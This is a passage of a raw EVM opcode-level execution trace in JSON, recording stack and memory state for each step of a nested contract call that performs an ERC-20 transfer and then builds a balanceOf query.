3616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2743,"op":"MSTORE","gas":30519,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x70a0823100000000000000000000000000000000000000000000000000000000","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2744,"op":"ADDRESS","gas":30513,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2745,"op":"PUSH1","gas":30511,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2747,"op":"DUP3","gas":30508,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2748,"op":"ADD","gas":30505,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2749,"op":"MSTORE","gas":30502,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x188"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2750,"op":"SWAP1","gas":30499,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2751,"op":"SWAP5","gas":30496,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2752,"op":"POP","gas":30493,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2753,"op":"PUSH1","gas":30491,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2755,"op":"PUSH1","gas":30488,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2757,"op":"PUSH1","gas":30485,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2759,"op":"SHL","gas":30482,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2760,"op":"SUB","gas":30479,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2761,"op":"DUP3","gas":30476,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2762,"op":"AND","gas":30473,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2763,"op":"SWAP1","gas":30470,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2764,"op":"PUSH4","gas":30467,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2769,"op":"SWAP1","gas":30464,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2770,"op":"PUSH1","gas":30461,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2772,"op":"ADD","gas":30458,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x184","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2773,"op":"PUSH1","gas":30455,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2775,"op":"PUSH1","gas":30452,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2777,"op":"MLOAD","gas":30449,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b70a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2778,"op":"DUP1","gas":30446,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x70a08231","0x1a8","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000